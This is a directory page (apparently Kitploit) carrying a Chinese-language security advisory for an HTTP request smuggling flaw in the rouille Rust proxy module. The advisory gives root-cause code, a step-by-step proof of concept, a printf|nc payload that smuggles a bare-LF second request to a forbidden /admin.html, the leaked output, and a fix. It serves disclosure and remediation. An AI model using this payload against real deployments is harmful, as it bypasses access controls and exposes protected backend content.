Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-67182-HTTP-Request-Smuggling-Enables-Front-End-Access-Control-Bypass-rouille- — 安全公告:HTTP 请求走私可绕过前端访问控制(rouille) | Kitploit
工具/GitHubGitHub/theopaid/cve-2026-67182-http-request-smuggling-enables-front-end-access-control-bypass-rouille-
漏洞分析Web应用程序漏洞利用Web安全论文与研究学习与教育
GitHubtheopaid/cve-2026-67182-http-request-smuggling-enables-front-end-access-control-bypass-rouille-

CVE-2026-67182-HTTP-Request-Smuggling-Enables-Front-End-Access-Control-Bypass-rouille-

安全公告:HTTP 请求走私可绕过前端访问控制(rouille)

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
21个月前尚未审核
分享

安全公告:HTTP 请求走私导致前端访问控制绕过(rouille)

分配的 CVE ID: CVE-2026-67182

摘要

rouille::proxy::proxy 与 rouille::proxy::full_proxy 会将客户端提供的请求头值复制到上游连接中,而不检查其中是否包含控制字符。由于底层 tiny_http 头解析器仅以 CRLF 作为头行结束标志,头值中可以合法地包含一个裸换行符(0x0A)。因此,接受裸 LF 作为行结束符的后端会把一个前端请求读成两个请求。

第二个请求完全由攻击者控制,包括其方法和路径,并且绝不会经过决定代理第一个请求的 rouille 处理器。其响应体同样会返回给攻击者。

受影响版本

仓库 URL: https://github.com/tomaka/rouille

首个受影响版本0.3.3(2016-12-03),即引入 src/proxy.rs 的版本
最后受影响版本3.6.2(2023-04-24),即当前最新版本
不受影响版本0.3.2 及更早版本,它们没有代理模块
修复版本撰写本文时尚无修复版本

从 0.3.3 到 3.6.2 的每个已发布版本都包含未修改的代码。src/proxy.rs 文件在 3.6.2 标签与当前 master 分支之间是逐字节相同的。

只有调用 proxy::proxy 或 proxy::full_proxy 的应用程序会受到影响。

严重性

CWE-444(HTTP 请求解释不一致),经由 CWE-113(HTTP 头中的 CRLF 序列未得到适当中和)而达成。

CVSS 4.0 基础分数 6.9(中危) CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:L/SA:N

威胁模型

攻击者是能够向 rouille 服务器发送原始 HTTP 的远程未认证客户端。无需任何凭据、无需用户交互,也无需处于组件之间的网络位置。

存在风险的部署是:一个 rouille 应用充当反向代理,在调用 proxy() 之前做出安全决策(路由、认证、授权或内容过滤),其后端的 HTTP 解析器接受裸 LF 作为头行结束符。

已实测的后端行为:

后端测试版本是否接受注入的 LF
Go net/httpgo1.26.4是,会处理被走私的请求
Python http.server (protocol_version = "HTTP/1.1")CPython 3.13是,会处理被走私的请求
Node.jsv26.3.0否,返回 400(llhttp 严格模式)
PHP 内建服务器8.5.8否,直接断开连接

未对 nginx 和 Apache 进行测试。RFC 9112 第 2.2 节允许接收方将单独的 LF 识别为行结束符,因此接受该 LF 的后端并未超出规范行为。

根本原因

rouille/src/proxy.rs,第 157 至 174 行:

root@kitploit:~
157      for (header, value) in request.headers() {
158          let value = if header == "Host" {
159              if let Some(ref replace) = config.replace_host {
160                  &**replace
161              } else {
162                  value
163              }
164          } else {
165              value
166          };
167          if header == "Connection" {
168              continue;
169          }
170  
171          socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172      }
173      socket.write_all(b"Connection: close\r\n\r\n")?;
174      io::copy(&mut data, &mut socket)?;

第 171 行是汇聚点。value 不可信,且未经任何验证即被写入。

污点数据经由 tiny_http 进入。在 tiny_http-0.12.0/src/client.rs 第 80 至 102 行中,头行仅在一个 LF 紧跟一个 CR 时才结束:

root@kitploit:~
 92              if byte == b'\n' && prev_byte_was_cr {
 93                  buf.pop(); // removing the '\r'
 94                  return AsciiString::from_ascii(buf)
 95                      .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
 96              }
 97  
 98              prev_byte_was_cr = byte == b'\r';
 99  
100              buf.push(byte);

单独的 LF 会落入第 100 行并被推入行缓冲区。LF 是有效 ASCII,因此 AsciiString::from_ascii 会接受它。随后,tiny_http-0.12.0/src/common.rs 第 184 行的 Header::from_str 只对值进行 trim,这会去除首尾空白,但保留内部字节原样:

root@kitploit:~
187          let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
188          let value = elems
189              .next()
190              .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
191              .ok_or(())?;

结果便是 rouille 头值中包含了原始 \n,proxy.rs 第 171 行会将其直接写入上游请求。

第 173 行的 Connection: close 并不能遏制这一危害。注入的空行会在第 173 行执行之前结束第一个请求,因此该头会被并入被走私的请求。第一个请求不携带 Connection 头,默认采用 HTTP/1.1 keep-alive,这恰恰使后端得以继续处理第二个请求。

概念验证

步骤 1:在后端文档根目录中创建一个公共文件和一个本应由代理保护的文件。

root@kitploit:~
mkdir -p /tmp/webroot/public
echo "PUBLIC PAGE"       > /tmp/webroot/public/index.html
echo "SECRET ADMIN PAGE" > /tmp/webroot/admin.html

步骤 2:在 8001 端口启动一个支持 keep-alive 的后端。

root@kitploit:~
cd /tmp/webroot
python3 -c '
import http.server, socketserver, sys
class H(http.server.SimpleHTTPRequestHandler):
    protocol_version = "HTTP/1.1"
    def log_message(self, f, *a):
        sys.stderr.write("[backend] " + (f % a) + "\n"); sys.stderr.flush()
socketserver.TCPServer.allow_reuse_address = True
socketserver.TCPServer(("127.0.0.1", 8001), H).serve_forever()
'

步骤 3:在 8000 端口启动 rouille 前端。它代理 /public/,并拒绝所有其他路径。

root@kitploit:~
use rouille::{proxy, Response};

fn main() {
    rouille::start_server("127.0.0.1:8000", |request| {
        if !request.url().starts_with("/public/") {
            return Response::text("forbidden").with_status_code(403);
        }
        proxy::full_proxy(request, proxy::ProxyConfig {
            addr: "127.0.0.1:8001", replace_host: None,
        }).unwrap()
    });
}

步骤 4:确认访问控制生效。

root@kitploit:~
printf 'GET /admin.html HTTP/1.1\r\nHost: x\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8000
root@kitploit:~
HTTP/1.1 403 Forbidden

步骤 5:发送一个针对允许路径的请求,并在头值中包含一个裸 LF。在下面的命令中,\n 是裸换行符,\r\n 是 CRLF。这一区别正是整个攻击的关键,因此不要让它被编辑器规范化。

root@kitploit:~
printf 'GET /public/index.html HTTP/1.1\r\nHost: x\r\nX-Bait: a\n\nGET /admin.html HTTP/1.1\nHost: x\nX-End: 1\r\n\r\n' | nc 127.0.0.1 8000

结果:后端日志显示两个请求,其中第二个正是前端在步骤 4 中拒绝的路径:

root@kitploit:~
[backend] "GET /public/index.html HTTP/1.1" 200 -
[backend] "GET /admin.html HTTP/1.1" 200 -

攻击者还会收到受保护的内容,因为 src/proxy.rs 第 224 行会把上游套接字的剩余部分作为响应体返回:

root@kitploit:~
HTTP/1.1 200 OK
Content-type: text/html
Transfer-Encoding: chunked

d7
PUBLIC PAGE
HTTP/1.1 200 OK
Content-type: text/html
Content-Length: 18

SECRET ADMIN PAGE

影响

未认证的客户端可以向后端发出任意请求并读取其响应,而 rouille 处理器全程只会看到被允许的那个请求。这使基于路径的访问控制、在处理器中执行的认证,以及调用 proxy() 之前所做的任何请求检查全部失效。

有两个限制值得说明。proxy() 为每个请求打开一条新的 TCP 连接,且不进行连接池复用,因此这不会造成经典走私中那种跨用户请求队列投毒。此外,如上面实测所示,该攻击还需要一个能容忍 LF 的后端。

修复措施

在写入上游之前,拒绝包含控制字符的头名称和头值。在 src/proxy.rs 第 157 行的循环内:

root@kitploit:~
if header.bytes().any(|b| b < 0x21 || b == 0x7f)
    || value.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
{
    return Err(ProxyError::HttpParseError);
}
下载工具